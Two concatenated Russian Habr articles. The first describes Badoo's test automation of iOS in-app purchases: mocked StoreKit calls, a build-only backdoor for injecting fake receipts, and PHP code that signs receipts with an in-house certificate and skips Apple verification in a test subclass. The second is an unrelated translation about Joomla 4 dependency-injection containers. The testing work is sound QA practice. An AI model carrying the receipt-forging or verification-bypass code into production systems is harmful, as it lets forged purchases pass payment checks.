Я сразу вспомнил про труд «xUnit Test Patterns: Refactoring Test Code», написанный Джерардом Месарошем ([рецензия](https://martinfowler.com/books/meszaros.html) Мартина Фаулера), — на мой взгляд, одну из лучших книг для любого тестировщика, который знает хотя бы один язык программирования высокого уровня и хочет заниматься автоматизацией. Пара глав этой книги, посвящённые тестированию SUT в изоляции от других компонентов приложения, которые являются для нас «чёрным ящиком», смогут нам помочь.
### 1. Введение в моки и фейки
Нужно отметить, что в мире автоматического тестирования не существует общепринятой границы между понятиями Test Doubles, Test Stub, Test Spy, Mock Object, Fake Object, Dummy Object. Всегда нужно учитывать терминологию автора. Нам нужны всего два понятия из большого мира Test Doubles: мок функции и фейк-объект. Что это? И зачем нам это нужно? Дадим краткое определение этих понятий, чтобы у нас не возникало разногласий.
Допустим, у нас есть приложение и встраиваемый в него компонент, который является для нас «чёрным ящиком». Внутри приложения мы можем вызывать функции, обращаясь к данному компоненту, и получать результаты выполнения этих функций. В зависимости от полученного результата наше приложение реагирует специфическим образом. Иногда результатом выполнения функции может быть целая сущность с кучей полей, отражающих реальные данные пользователя.
Подмену функции на любую другую, которая вернёт нам нужный результат, давайте называть моком функции, или просто моком. Эти функции могут иметь одинаковую сигнатуру, но это две разные функции.
А подмену сущности, полученную в результате выполнения функции, на сущность поддельную (содержащую нужные данные в полях, а иногда даже испорченные данные) будем называть внедрением фейк-объекта. Более подробно об этом можно прочитать в книге, которую я упомянул выше, или в любом другом компендиуме по тестированию и разработке ПО.
Чтобы закончить с этим, давайте подчеркнём некоторые особенности использования мока функций и фейк-объектов:
1. Для того чтобы мокать функции, нужно обращаться к исходному коду и знать, как работает приложение с компонентом изнутри на уровне разработчика.
2. Для того чтобы внедрить фейк-объект, нужно знать структуру настоящего объекта.
3. Использование мока функции даёт возможность гибкой настройки работы приложения с компонентом.
4. Использование фейк-объекта позволяет наделять сущность любыми свойствами.
Метод моков и фейк-объекта идеально подходит для изолирования работы компонента внутри приложения. Давайте посмотрим, как мы можем применить этот метод для решения нашей задачи, где в качестве компонента будет App Store. В силу особенностей использования данного метода сначала нам нужно обратиться к изучению природы работы нашего приложения с компонентом, а затем — к технической реализации, чтобы сделать конкретные моки и фейк-объект.
2. Как происходит реальная покупка
----------------------------------
Перед тем как начать описывать взаимодействие всех частей системы, давайте выделим основных акторов:
* пользователь приложения — любой актор, который совершает действия с приложением, им может быть человек, а может быть скрипт, который выполняет необходимые инструкции;
* приложение (в нашем случае мы используем iOS-приложение Badoo, инсталлируемое в iOS-симулятор);
* сервер — актор, который обрабатывает запросы от приложения и отправляет обратно ответы или асинхронные уведомления без запроса клиента (в данном случае мы имеем в виду один абстрактный сервер Badoo, чтобы упростить структуру);
* App Store — актор, который является для нас «чёрным ящиком»: мы не знаем, как он устроен внутри, но знаем его публичный интерфейс для обработки покупок внутри приложения ([StoreKit framework](https://developer.apple.com/documentation/storekit#)), а также умеет проверять данные на сервере Apple.
Давайте посмотрим, как происходит покупка. Весь процесс можно увидеть на схеме:
*Рисунок 1. Cхема платежа в App Store*
Распишем пошагово основные действия акторов.
1. Начальная точка — состояние всех акторов до открытия экрана со списком продуктов.
Что это за экран и как мы на него попали?
Допустим, пользователь нашёл интересного человека, открыл его профайл, написал одно сообщение и захотел отправить подарок. Отправка подарка — это платная услуга. Пользователь может проскроллить профайл до секции отправки подарков или сразу выбрать подарок из чата.
Если пользователь выбрал подарок и у него нет денег на счёте, то он увидит список разных пакетов кредитов (Payments Wizard) для покупки. Начальная точка в нашем примере — это список подарков. На схеме мы можем считать такой точкой любой экран до показа списка продуктов для покупки кредитов или подписки.
2. Открытие списка продуктов.
Мы находимся в начальной точке, например на списке подарков. Пользователь выбирает один из подарков в приложении. Приложение делает запрос на наш сервер, чтобы получить список возможных Product ID пакетов кредитов (100, 550, 2000, 5000). Сервер возвращает этот список приложению.
Далее приложение отправляет полученный список Product ID на проверку актору App Store (системный iOS-фреймворк StoreKit, который ходит на сервер Apple). Он возвращает список проверенных продуктов — и в итоге приложение показывает пользователю финальный список пакетов кредитов с иконками и ценами.
3. Выбор продукта и генерация чека.
Пользователь выбирает платный продукт. App Store требует подтверждение покупки и авторизацию через Apple ID. После успешной авторизации пользователя управление передаётся приложению. Приложение ожидает генерации чека (receipt) внутри собственного пакета. Пользователь в это время видит солнышко, которое блокирует экран. То, что receipt сгенерировался, можно понять, используя метод appStoreReceiptURL класса [Bundle](https://developer.apple.com/documentation/foundation/bundle). После того как чек сгенерирован App Store, приложение подбирает чек из своего пакета и отправляет запрос с чеком и пользовательскими данными на сервер Badoo.
4. Проверка чека на сервере Badoo.
Как только сервер Badoo получает данные о чеке и о пользователе, он отправляет их обратно на сторону сервера Apple, чтобы осуществить первый цикл проверки. Это одна из рекомендаций Apple. Затем на этом первом цикле проверки сервер получает информацию о текущем состоянии подписки.
5. Отправка пуш-уведомления (push notification) c сервера.
Сервер Badoo снова обрабатывает полученную информацию после проверки со стороны Apple и отправляет приложению ответ вместе с пуш-уведомлением.
6. Пуш-уведомление в приложении.
Если это была покупка кредитов, то сразу же изменится баланс пользователя в приложении и он увидит отправленный подарок в чате. Если это была покупка подписки, то пользователь должен дождаться финального пуш-уведомления о том, что подписка активирована.
### 3. Определение зависимостей и контура тестирования
Для дальнейшего разговора введём ещё два понятия — внешняя зависимость и контур тестирования.
#### Внешняя зависимость
Под внешними зависимостями мы будем понимать любое взаимодействие с компонентом, который является для нас «чёрным ящиком». В данном случае в качестве такого компонента выступает App Store в виде системного iOS-фреймворка (StoreKit), с которым работает наше iOS-приложение, и сервера Apple, куда уходят запросы на проверку.
Управление этими зависимостями в реальных условиях невозможно, приложение вынуждено реагировать на выходные сигналы от «чёрного ящика» (см. рис. 2).
У нас три внешних зависимости:
1. Проверка продуктов StoreKit.
2. Получение и подмена чека покупки.
3. Проверка чека на сервере Badoo.
*Рисунок 2. Внешние зависимости*
#### Контур тестирования
Контур тестирования — это участки пути, которые мы будем проходить и проверять в процессе тестирования.
*Рисунок 3. Контур тестирования*
Цель нашей работы по устранению зависимостей заключается в том, чтобы построить такой контур тестирования, который был бы максимально приближен к реальному пути и позволял бы исключить все внешние зависимости и перевести контроль на свою сторону.
Рассмотрим последовательно каждую зависимость.
### 4. Изолирование зависимостей: техническая реализация
У нас в компании для реализации платежей была взята PPP-концепция, в основе которой лежит интерфейс Payment Provider. Это основной интерфейс взаимодействия с актором App Store (StoreKit) внутри нашего приложения, у которого есть два основных метода:
1. prepare — метод, который отвечает за проверку продуктов;
2. makePayment — метод, который обрабатывает покупку в приложении.
Все платежи на iOS были отрефакторены в соответствии с этой концепцией, что позволило получить простой и удобный класс Mock Payment Provider. Это основной интерфейс взаимодействия с удобной копией поведения StoreKit внутри нашего приложения. Что означает «удобной копией»? У данного провайдера есть моки методов prepare и makePayment, которые делают то, что мы хотим. Давайте рассмотрим на примере кусочков кода, как нам удалось интегрировать моки.
#### Зависимость №1. Проверка продуктов StoreKit
Для проверки списка продуктов используется функция prepare, которая возвращает список проверенных продуктов. Мы можем использовать мок, в котором отключим проверку и вернём входящий список продуктов как полностью проверенный. Таким образом, зависимость будет устранена.
*Рисунок 4. Схема устранения первой зависимости*
На самой вершине архитектуры в нашем приложении находится Payment Provider. Он отражает интерфейс возможного провайдера в приложении. Код реализации моков можно найти в классе Mock Payment Provider.
```
public class MockPaymentProvider: PaymentProvider {
public static var receipt: String?
public static var storeKitTransactionID: String?
public func prepare(products: [BMProduct]) -> [BMProduct] {
return products
}
...
}
```
*Листинг 1. Мок клиентской проверки*
У Mock Payment Provider мы можем увидеть реализацию метода prepare. Магия мока оказывается очень простой: в методе пропущена проверка продуктов на стороне StoreKit, и он просто возвращает входящий список продуктов. Реальная реализация prepare выглядит так:
```
public func prepare(products: [BMProduct]) -> [BMProduct] {
let validatedProducts = self.productsSource.validate(products: products)
return validatedProducts
}
```
*Листинг 2. Реальный Store Payment Provider*
### Зависимость №2. Получение и подмена чека покупки
Со второй зависимостью дело обстоит немного сложнее: нам нужно сначала убрать авторизацию, чтобы не держать пул аккаунтов пользователей, а потом каким-то образом получить сам чек. Форму авторизации мы можем просто удалить:
*Рисунок 5. Удаление формы авторизации при проведении платежа*
С чеком всё не так просто. Появляется много вопросов:
1. Как заранее получить чек для нужного продукта?
2. Если мы всё же получили чек, то когда и как его подложить внутри приложения?
Здесь у актора «Пользователь» появляется новая роль — QA. Когда мы прогоняем тест, мы можем не только кликать на кнопки интерфейса, но также вызывать методы API тестового фреймворка (методы, которые симулируют действия пользователя) и REST API-сервисов (методы, которые могут творить магию со стороны внутреннего сервиса Badoo). У нас в Badoo используется очень мощный инструмент QA API (со всеми его возможностями вы можете ознакомиться по ссылке: <https://vimeo.com/116931200>). Именно он помогает нам в тестировании и даёт чек для нужного продукта на стороне сервера Badoo. Сервер Badoo — это лучшее место для генерации чеков: там есть шифровка и дешифровка чека, поэтому сервер знает всё об этой структуре данных.
После того как мы получили фейковый чек, мы можем выставить его через [бэкдор](http://xunitpatterns.com/Back%20Door%20Manipulation.html) на стороне приложения. Далее приложение отправит фейковый чек вместе с пользовательскими данными нашему серверу.
*Рисунок 6. Схема получения чека*
Как это стало возможно технически?
1. Для выставления фейкового чека в приложении мы смогли использовать бэкдор, который сохранил фейковый чек в поле receipt MockPaymentProvider:
```
#if BUILD_FOR_AUTOMATION
@objc
extension BadooAppDelegate {
@objc
func setMockPurchaseReceipt(_ receipt: String?) {
PaymentProvidersFactory.useMockPaymentProviderForITunesPayments = true
MockPaymentProvider.receipt = receipt
}
...
}
#endif
```
*Листинг 3. Бэкдор выставления фейкового чека*
2. Приложение смогло взять наш чек благодаря MockPaymentProvider, в котором мы использовали мок makePayment и сохранённый чек в MockPaymentProvider.receipt:
```
public class MockPaymentProvider: PaymentProvider {
...
public func makePayment(_ transaction: BPDPaymentTransactionContext) {
...
if let receiptData = MockPaymentProvider.receipt?.data(using: .utf8) {
let request = BPDPurchaseReceiptRequest(...)
self.networkService.send(request, completion: { [weak self] (_) in
guard let sSelf = self else { return }
if let receipt = request.responsePayload() {
sSelf.delegate?.paymentProvider(sSelf, didReceiveReceipt: receipt)
}
})
} else {
self.delegate?.paymentProvider(self, didFailTransaction: transaction)
}
}
}
```
*Листинг 4. Вызов мока обработки покупки с фейковым чеком*
3. Получение фейкового чека
Для получения фейкового чека мы использовали метод на сервере (см. листинг 5). Он берёт дефолтный массив с данными для генерации данных чека и добавляет в него данные, которые нужны для конкретного продукта.
```
$new_receipt_model = array_replace_recursive(
//создаём массив со схемой чека по умолчанию
$this->getDefaultModel(),
//определяем дополнительные параметры на основе сохранённых данных
//необходимо, если обрабатываем ранее использованный платёж
$this->enrichModelUsingSubscription($nr),
//определяем дополнительные параметры в зависимости от желаемого состояния
$this->enrichModelUsingInput($input)
);
//создаём подпись
$new_receipt = $this->signReceipt(
json_encode($new_receipt_model, true),
$new_receipt_model
);
```
*Листинг 5. Серверная часть генерации чека*
Чтобы повторить структуру реального чека, кастомный чек, отправляемый приложением, должен быть зашифрован с применением сертификата. Мы используем наш рабочий сертификат вместо сертификата Apple.
```
function signReceipt($receipt, $response)
{
//добавляем заголовки и кодируем чек base64
$receipt = 'Subject: ' . base64_encode(json_encode($response)) . PHP_EOL . PHP_EOL . $receipt;
file_put_contents($receipt_file, $receipt);
...
//подписываем чек нашим сертификатом
$sign_result = openssl_pkcs7_sign(
$receipt_file, $signed_receipt_file, 'file://'.$path_cert, 'file://'.$path_key, [], PKCS7_BINARY);
...
//добавляем заголовки
$signed_content_with_headers = file_get_contents($signed_receipt_file);
list($headers, $signed_content) = explode(PHP_EOL . PHP_EOL, $signed_content_with_headers);
//возвращаем чек
return str_replace(["\r\n", "\r", "\n"], '', $signed_content);
}
```
*Листинг 6. Метод для подписи чека сертификатом*
4. В итоге в тесте мы получаем:
```
И(/Я генерирую новый платёжный чек для покупки "((\d+) кредитов|подписки на (\d+) месяца?/) do |service_type|
# обработка типа сервиса
service_details = parse_options(service_type)
# вызов QA API (внутренний сервис Badoo)
receipt = QaApi::Billing.order_get_app_store_receipt(service_details)
# вызов бэкдора
Backdoors.set_fake_receipt(receipt)
end
```
*Листинг 7. Шаг теста на языке [Gherkin](https://cucumber.io/docs/gherkin/reference/) для фреймворка [Cucumber](https://cucumber.io/docs/cucumber/)*
### Зависимость №3. Проверка чека на сервере Badoo
Чтобы убрать третью зависимость, нужно избавиться от верификации чека на сервере. Здесь важно помнить о том, что верификация делается в два этапа. На первом этапе выполняется проверка подлинности чека на основе подписей и сертификатов. На втором — чек отправляется в App Store. В случае успешной валидации на этом этапе мы получим расшифрованный чек, который можно обработать.
*Рисунок 7. Удаление серверной верификации*
Сначала сервер выполняет первичную верификацию чека в методе verifyReceiptByCert родительского класса. Здесь проверяется подпись сертификатом App Store. В случае с фейковым чеком эта верификация будет неудачной, потому что он подписан нашим сертификатом, и мы вызовем метод для верификации локальным сертификатом verifyReceiptByLocalCert. В этом методе мы попробуем расшифровать чек, используя локальный сертификат, и в случае успеха результат расшифровки поместим во внутреннее поле local\_receipt дочернего класса (метод addLocallyVerifiedReceipt).
```
class EngineTest extends Engine
function verifyReceiptByCert($receipt)
{
$result = parent::verifyReceiptByCert($receipt);
if ($result === -1 || empty($result)) {
$result = $this->verifyReceiptByLocalCert($receipt);
}
return $result;
}
function verifyReceiptByLocalCert($receipt) {
$receipt_file = tempnam(sys_get_temp_dir(), 'rcp');
file_put_contents($receipt_file, base64_decode($receipt));
$result = openssl_pkcs7_verify($receipt_file, PKCS7_BINARY, '/dev/null', [$DIR]);
if ($result) {
$this->addLocallyVerifiedReceipt($receipt, base64_decode($response));
}
unlink($receipt_file);
return $result;
}
class Engine
function verifyReceiptByCert($receipt) {
$receipt_file = tempnam(sys_get_temp_dir(), 'rcp');
file_put_contents($receipt_file, base64_decode($receipt));
$result = openssl_pkcs7_verify($receipt_file, PKCS7_BINARY, '/dev/null', [$DIR]);
unlink($receipt_file);
return $result;
}
```
*Листинг 8. Первичная верификация*
Во время вторичной верификации (verifyReceipt) мы получаем значение поля local\_receipt дочернего класса getLocallyVerifiedReceipt. Если оно не пустое, то мы используем его значение как результат верификации.
Если же поле пустое, то мы вызываем вторичную верификацию из родительского класса (*parent*::verifyReceipt). Там мы делаем запрос к App Store для верификации на его стороне. Результатом верификации в обоих случаях является расшифрованный чек.
```
class EngineTest extends Engine
function verifyReceipt($receipt_encoded, $shared_secret, $env) {
$response = $this->getLocallyVerifiedReceipt($receipt_encoded);
if (!empty($response)) {
return json_decode($response, true);
}
return parent::verifyReceipt($receipt_encoded, $shared_secret, $env);
}
class Engine
function verifyReceipt($receipt_encoded, $shared_secret, $env) {
$response = $this->_sendRequest($receipt_encoded, $shared_secret, $env);
return $response;
}
```
*Листинг 9. Вторичная верификация*
### 5. Видео прогона тестов: покупка кредитов и подписки
#### Тест №1. Покупка подписки
| | |
| --- | --- |
| Когда | Я логинюсь в приложении новым пользователем с фото |
| И | Я генерирую новый платёжный чек подписки на один месяц |
| И | Я захожу в свой профиль |
| То | Я убеждаюсь, что подписка отключена |
| Когда | Я открываю список продуктов |
| И | Я покупаю пакет подписки на один месяц |
| То | Я проверяю нотификацию об успешной покупке |
| И | Я убеждаюсь, что подписка активировалась |
Видео прогона теста:
#### Тест №2. Покупка кредитов и отправка подарка
| | |
| --- | --- |
| Когда | Я логинюсь в приложении новым пользователем с фото |
| И | Я добавляю десять кредитов в свой профиль |
| И | Я генерирую новый платёжный чек на 550 кредитов |
| И | Я создаю нового пользователя Leela |
| И | Leela проголосовала «Да» за меня |
| И | Я захожу в People Nearby и открываю профиль Leela |
| И | Я голосую «Да» за Leela |
| То | Я проверяю матч-страницу |
| Когда | Я выбираю отправить обычный подарок |
| То | Я проверяю платёжный экран со списком пакетов |
| Когда | Я выбираю купить 550 кредитов |
| То | Я проверяю нотификацию об успешной покупке |
| И | Я убеждаюсь, что Leela получила подарок в чате |
Видео прогона теста:
Оценка решения: основные риски
------------------------------
Удаление внешних зависимостей сопряжено с определёнными рисками.
1. Неправильная конфигурация.
Поскольку проверка происходит не на нашей стороне, мы можем сконфигурировать наши продукты неправильно на стороне Apple. Чтобы защититься от ошибки, мы написали отдельный серверный юнит-тест, который проверяет, что все продукты, которые мы заводим на стороне Apple, совпадают с теми продуктами, которые мы имеем в своём конфиге.
2. Пограничные случаи.
Например, когда платёж полностью проходит, пользователь получает уведомление о том, что он совершён, но наше приложение не может найти чек, который должен быть подложен в результате выполнения этого платежа. Риск заключается в том, что мы сами подкладываем чек с помощью бэкдора, и такой кейс мы, естественно, отследить не можем. Чтобы как-то компенсировать этот риск, мы проводим end-to-end проверки с помощью песочницы или реального платежа после релиза.
3. Недобросовестная подделка или фрод.
Прочитав эту статью, вы можете подумать, что раз в Badoo используют фейковые чеки, то можно нам что-то фейковое подложить и пользоваться сервисом бесплатно. Чтобы такой риск не материализовался, мы подписываем всё собственным сертификатом и ограничиваем использование моков и фейк-чеков функциональными тестами, которые прогоняются только в нашем девелоперском окружении.
4. Изменение формата чека.
Это самый серьёзный риск. Изменение формата чека возможно, когда Apple что-то меняет, не предупредив нас. У нас такой кейс был: при переходе на iOS 11 полностью изменился формат чека. Мы генерировали фейковый чек на своём сервере и использовали его в тесте. У нас всё было прекрасно: все поля на месте, всё замечательно, всё обрабатывается. Но когда мы переходили в реальную систему, ничего не работало. Поля, которые в чеке были значимыми, просто переставали существовать.
Как компенсировать этот риск? Во-первых, мы не исключаем проведение end-to-end-тестирования песочницы до релиза и реальным платежом — после релиза. Сейчас у нас в активной фазе находится проект по проверке нотификаций, когда мы все чеки, которые получаем с продакшена, пытаемся классифицировать по принципу, понимаем мы, что это такое, или не понимаем. Если ответ отрицательный, то мы начинаем обрабатывать всё вручную, смотреть, что изменилось, что не так, что нужно поменять в своей системе.
| | | |
| --- | --- | --- |
| Риск | Причина | Как компенсировать |
| неправильная конфигурация | удаление проверки | юнит-тест на сервере |
| эдж-кейсы
(чек не доставлен) | использование бэкдора | E2E-проверки (песочница и реальный платёж) |
| недобросовестная подделка, фрод | генерация нотификации и чека на сервере | собственный сертификат |
| изменение формата чека | генерация нотификации и чека на сервере | проверка реальных нотификаций и чека на проде (новый проект),
E2E-проверки (песочница и реальный платёж) |
Результат
---------
Рассмотрим основные преимущества, которые мы смогли получить в результате применения метода моков и фейк-объекта.
#### Недорогая, быстрая и стабильная автоматизация платных сервисов на iOS
Вместе с командой ручного тестирования на iOS (особая благодарность Колину Чану) мы смогли написать более 150 автотестов для платежей. Это довольно большой объём покрытия для одной области приложения.
Благодаря параллелизации мы можем получать результат всего за 15–20 минут на любой ветке разработчика iOS-клиента или разработчика сервера биллинга. До автоматизации тестирование этой области вручную силами одного человека занимало восемь часов.
Также мы можем тестировать подавляющее большинство тест-кейcов благодаря настройке Mock Payment Provider через моки таким образом, как нам нужно. При помощи моков мы научились как отключать проверку продуктов, так и имитировать кейсы, когда проверка выполняется частично. Таким образом, нам открылись кейсы, которые раньше мы не могли тестировать в принципе.
#### Функциональная регрессия при разработке новых фич
Очень хорошо автоматизация сработала в тех случаях, когда разработчик в процессе работы над новой фичей затрагивал старый функционал. У нас был пример, когда разработчик делал сложную фичу с кэшированием и запустил наши автотесты. Часть из них упала с ошибкой. Он увидел это и пофиксил. Потом перезапустил автотесты снова — и опять что-то упало. В итоге он сделал серию итераций до того момента, когда всё стало нормально работать со стороны приложения.
#### Функциональная регрессия при рефакторинге платежей
Пожалуй, самая успешная и эффективная автоматизация, которая только возможна, случается именно в области рефакторинга кода. В данном случае меняется только внутренняя реализация — не нужно менять код автотестов. UI никак не меняется, и автотесты можно гонять эффективно.
#### Тестирование экспериментальных фич от Apple: грейс-период
Подобная система полностью заменима, когда вы тестируете новые интеграции, которые ещё не реализованы в песочнице. Так у нас было с грейс-периодом. В песочнице этой функциональности нет. Грейс-период на Apple пока недоступен для всех. Это экспериментальный проект, который Badoo реализует совместно с Apple. Для того чтобы сделать чек с грейс-периодом, нам необходимо было добавить в него вот такой кусок JSON-кода:
```
pending_renewal_info:[
{
expiration_intent: 2
grace_period_expires_date: 2019-04-25 15:50:57 Etc/GMT
auto_renew_product_id: badoo.productId
original_transaction_id: 560000361869085
is_in_billing_retry_period: 1
grace_period_expires_date_pst: 2019-04-25 08:50:57 America/Los_Angeles
product_id: badoo.productId
grace_period_expires_date_ms: 1556207457000
auto_renew_status: 1
}]
```
*Листинг 10. Грейс-период для подпиския*
Мы это очень легко сделали буквально за несколько секунд. В нашей системе мы смогли протестировать нашу реакцию на новую фичу. Сейчас обкатываем эту функциональность на проде.
#### Тестирование качества продукта в композиции методов
В результате нашего исследования мы смогли описать метод, который позволяет устранять шумы от внешних зависимостей. Это помогло клиентским разработчикам в процессе разработки фич находить баги на ранних стадиях.
Но не стоит думать, что мы смогли протестировать данным методом всё. Чтобы протестировать всё, лучше использовать композицию методов: тестирование реальной картой на проде, тестирование в песочнице, метод моков и фейк-объекта, юнит- и интеграционное тестирование. Помните, пожалуйста, о балансе пирамиды тестирования и не пытайтесь одним методом решить все проблемы. Это может привести к печальной автоматизации в песочнице, к печальному ручному тестированию реальной картой всех кейсов и многим другим серьёзным ошибкам именно в том месте, где их появление больнее всего.
Заключение
----------
В результате нашего исследования мы получили недорогой, быстрый и стабильный метод тестирования не только платных сервисов на iOS, но и любых компонентов, встраиваемых в приложение как «чёрный ящик». Сейчас мы в Badoo внедряем данный метод для тестирования на Android платных провайдеров (Global Charge, Boku, Centili), которые имеют нестабильные песочницы или любые другие ограничения. Также мы используем метод моков для тестирования рекламы, стриминга и геолокации.
Стоит сказать, что сам процесс внедрения нового метода не был быстрым. Приходилось договариваться с четырьмя командами: iOS QA, iOS Dev, Billing QA, Billing Dev. Не все хотели переходить на новый метод, опасаясь рисков. Иногда это было и догматическое следование: мы много лет тестировали в песочнице, и основной силой, которая смогла разрушить догму, стало желание тестировщиков биллинга и iOS-платформы изменить ситуацию и избавиться от мучений. Позже разработчики осознали такие преимущества данного метода, как точная диагностика (мы смогли находить не баги песочницы, а баги нашего клиента или сервера), гибкость в настройке компонента (мы смогли легко тестировать негативные кейсы на интеграционном уровне) и, конечно же, ответ в течение 30 минут на ветке с разрабатываемым кодом.
Всем, кто дочитал до конца, огромное спасибо. Всем, кто помогал и участвовал в данном проекте, также огромное спасибо. Отдельная благодарность летит этим людям:
* Пётр Колпащиков — iOS-разработчик, который помог сделать моки на стороне клиента и разработал PPP-концепцию;
* Владимир Солодов — Billing QA, который помог с QA API для генерации фейк-чеков и моком проверки со стороны биллинг-сервера;
* Максим Филатов и Василий Степанов — Billing Dev Team, которые помогли с кодом биллинг-сервера;
* iOS Dev Team — разработчики, которые смогли отрефакторить наши платежи в новой концепции, благодаря чему использование моков стало возможным;
* iOS QA Team — потрясающая команда тестирования, которая написала кучу автотестов;
* Billing QA Team — тестировщики, которые помогали исследовать проблемы. | https://habr.com/ru/post/460667/ | null | ru | null |
# Dependency Injection Containers (DI контейнеры) в Joomla 4
Этот текст - [перевод](https://manual.joomla.org/docs/general-concept/dependencies/) статьи из [нового портала документации для разработчиков Joomla](https://manual.joomla.org/), раздел "Основные концепции".
Введение
--------
Joomla 4 внедряет практику контейнеров внедрения зависимостей (DI контейнеры, DIC) в Joomla. Эта статья призвана объяснить, почему мы внедряем их и как их использовать в Joomla.
DI контейнеры уже давно существуют в экосистеме PHP для поддержки целей внедрения зависимостей. Например, Symfony [представила эту концепцию в 2009 году](http://fabien.potencier.org/do-you-need-a-dependency-injection-container.html).
Есть несколько причин, по которым пришло время внедрить их в Joomla 4:
1. **Тестирование** — одной из тем Joomla 3 были глючные релизы. Нам нужно иметь возможность тестировать классы и компоненты более простым способом. Внедрение зависимостей позволяет значительно упростить внедрение классов Mock, что, мы надеемся, позволит нам уменьшить количество ошибок.
2. **Нужно уменьшить количество магии в Joomla** - Joomla имеет большое количество "волшебных" файлов, названия которых нужно угадывать. Это увеличивает количество времени, которое люди, плохо знакомые с Joomla, тратят на изучение соглашений по именованию файлов. Предоставление конкретного класса в расширениях позволяет нам легко тестировать совместимость расширений с другими расширениями (например, категориями и ассоциациями).
Глобальный контейнер
--------------------
Внедрение глобального контейнера зависимостей очень слабо заменяет класс Factory (ex. JFactory). Однако его не следует путать с прямой заменой.
Так, например, в ваших контроллерах в CMS вместо
```
\Joomla\CMS\Factory::getDocument();
```
стоит использовать
```
$this->app->getDocument();
```
Это использует внедренное приложение и поэтому упрощает тестирование.
**Ссылки по теме на Хабре:**
* [Опубликован скорректированный план выпуска релизов Joomla 4 и Joomla 5](https://habr.com/ru/news/t/686224/)
* [Распространенные ошибки при написании плагинов Joomla 4](https://habr.com/ru/users/sergeytolkachyov/posts/)
Создание объекта в контейнере
-----------------------------
Чтобы поместить что-то в глобальном DI-контейнере Joomla проще всего передать анонимную функцию. Пример для логгера ниже:
```
// Assuming we have an instance of a Joomla Container
$container->share(
LoggerInterface::class,
function (Container $container)
{
return \Joomla\CMS\Log\Log::createDelegatedLogger();
},
true
);
```
Функция `share` принимает два обязательных параметра и необязательный третий параметр:
* ***$key -*****имя сервиса (dataStore key)** - почти всегда является именем класса, который вы создаете.
* ***$value -*****Анонимная функция** принимает единственный параметр — экземпляр контейнера (это позволяет вам получать любые зависимости из контейнера). `return` — это сервис, который вы хотите поместить в контейнер.
* ***$protected -*** (необязательный параметр) - это булев параметр, определяет, защищена ли служба от перезаписи (т. е. разрешено ли кому-либо еще переопределять ее в контейнере). Как правило, для основных служб Joomla, таких как объекты сессии (Session), это `true`.
Теперь рассмотрим более сложный пример:
```
$container->alias('AmazingApiRouter', Joomla\CMS\Router\ApiRouter::class)
->share(
\Joomla\CMS\Router\ApiRouter::class,
function (Container $container)
{
return new \Joomla\CMS\Router\ApiRouter($container->get(\Joomla\CMS\Application\ApiApplication::class));
},
true
);
```
Здесь видно, что мы добавили две вещи — начали использовать зависимости (роутер API получает приложение API из контейнера) и мы также создали алиас для ApiRouter (*в Joomla 4 существует 5 типов приложений - Application - Site, Administrator, Cli, API и Installation, а также могут быть созданы свои типы - Т.С.*). Это означает, что контейнер создает экземпляр ApiRouter тогда, когда распознает использование класса Зато в нашем коде для простоты мы сможем запустить следующий вызов, чтобы получить наш роутер (That means whilst the container recognises that if it needs to build an ApiRouter instance it can do that. But in our code to keep things simple we can also run to retrieve our router).
```
Factory::getContainer()->get('AmazingApiRouter');
```
В то время как в Joomla наши провайдеры могут выглядеть более сложными, потому что логика создания объектов внутри анонимной функции более сложна - все они следуют этой базовой идее.
Провайдеры
----------
Провайдеры в Joomla — это способ регистрации зависимости в сервис-контейнере. Для этого создайте класс, реализующий `Joomla\DI\ServiceProviderInterface`.
Это дает вам метод регистрации, который содержит контейнер. Затем вы можете снова использовать метод `share`, чтобы добавить любое количество объектов в контейнер. Затем вы можете зарегистрировать их в контейнере с помощью `\Joomla\DI\Container::registerServiceProvider` . Вы можете посмотреть, как мы регистрируем все сервис-провайдеры, здесь, в методе `\Joomla\CMS\Factory::createContainer`.
```
// libraries/src/Factory.php
/**
* Create a container object
*
* @return Container
*
* @since 4.0.0
*/
protected static function createContainer(): Container
{
$container = (new Container())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Application())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Authentication())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\CacheController())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Config())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Console())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Database())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Dispatcher())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Document())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Form())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Logger())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Language())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Menu())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Pathway())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\HTMLRegistry())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Session())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Toolbar())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\WebAssetRegistry())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\Router())
->registerServiceProvider(new \Joomla\CMS\Service\Provider\User());
return $container;
}
```
Контейнер компонента
--------------------
Каждый компонент также имеет свой собственный контейнер (который находится в разделе администратора (administrator section) Joomla). Однако этот контейнер не подвергается воздействию. Он нужен только для того, чтобы получить системные зависимости и позволить классу представлять ваше расширение. Этот класс является классом `Extension` и как минимум должен реализовывать интерфейс соответствующего типа расширения. Например, компонент должен реализовать `\Joomla\CMS\Extension\ComponentInterface` (`libraries/src/Extension/ComponentInterface.php`). Для получения полной информации о реализации в Вашем расширении мы рекомендуем обратиться к официальной документации Joomla [«Разработка компонента MVC для Joomla 4».](https://docs.joomla.org/S:MyLanguage/J4.x:Developing_an_MVC_Component)
#### Использование контейнера компонента в другом расширении
Вы можете легко получить контейнер другого расширения через объект CMSApplication. Например
```
Factory::getApplication()->bootComponent('com_content')->getMVCFactory()->createModel('Articles', 'Site');
```
Получите контейнер `com_content`, получите `MVC Factory` и получите `ArticlesModel` фронтенда Joomla. И это будет работать в любом расширении во фронтенде, бэкэнде или API Joomla (в отличие от старого метода `LegacyModel::getInstance()`).
### Дополнительно
В документации Joomla Framework есть отличный пример того, почему внедрение зависимостей полезно для вашего приложения и как DIC помогает его структурировать. [Читать на GitHub.](https://github.com/joomla-framework/di/blob/2.0-dev/docs/why-dependency-injection.md)
От переводчика
--------------
Замечания и пожелания по переводу приветствуются. Так же полезные ресурсы.
